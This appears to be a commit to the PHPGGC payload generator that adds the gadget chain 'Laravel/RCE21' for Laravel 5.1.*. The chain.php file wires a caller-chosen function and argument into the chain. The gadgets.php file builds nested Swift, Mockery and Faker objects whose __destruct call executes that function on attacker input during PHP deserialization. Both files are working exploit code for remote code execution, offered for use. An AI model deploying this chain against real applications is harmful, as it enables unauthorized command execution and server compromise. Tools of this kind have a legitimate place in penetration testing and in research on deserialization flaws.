add Laravel/RCE21 5.1.*

add Laravel/RCE21 5.1.*

gadgetchains/Laravel/RCE/21/chain.php

@@ -0,0 +1,21 @@
+<?php
+
+namespace GadgetChain\Laravel;
+
+class RCE21 extends \PHPGGC\GadgetChain\RCE\FunctionCall
+{
+    public static $version = '5.1.*';
+    public static $vector = '__destruct';
+    public static $author = 'fallingskies';
+
+    public function generate(array $parameters)
+    {
+        $function = $parameters['function'];
+        $parameter = $parameters['parameter'];
+
+        return new \Swift_KeyCache_DiskKeyCache(
+            $function,
+            $parameter
+        );
+    }
+}

gadgetchains/Laravel/RCE/21/gadgets.php

@@ -0,0 +1,46 @@
+<?php
+namespace Faker{
+    class DefaultGenerator{
+        protected $default;
+        public function __construct($cmd)
+        {
+            $this->default = $cmd;
+        }
+    }
+    class ValidGenerator
+    {
+        protected $generator;
+        protected $validator;
+        protected $maxRetries;
+        public function __construct($function,$cmd){
+            $this->generator=new DefaultGenerator($cmd);
+            $this->maxRetries=9;
+            $this->validator=$function;
+        }
+    }
+}
+
+namespace Mockery\Generator{
+    use Faker\ValidGenerator;
+    class DefinedTargetClass
+    {
+        private $rfc;
+        public function __construct($function,$cmd)
+        {
+            $this->rfc=new ValidGenerator($function,$cmd);
+        }
+    }
+}
+
+namespace{
+    use Mockery\Generator\DefinedTargetClass;
+    class Swift_KeyCache_DiskKeyCache{
+        private $_keys=['fallingskies'=>['fallingskies'=>'fallingskies']];
+        private $_path;
+        public function __construct($function,$cmd){
+            $this->_path=new DefinedTargetClass($function,$cmd);
+        }
+    }
+}
+
+?>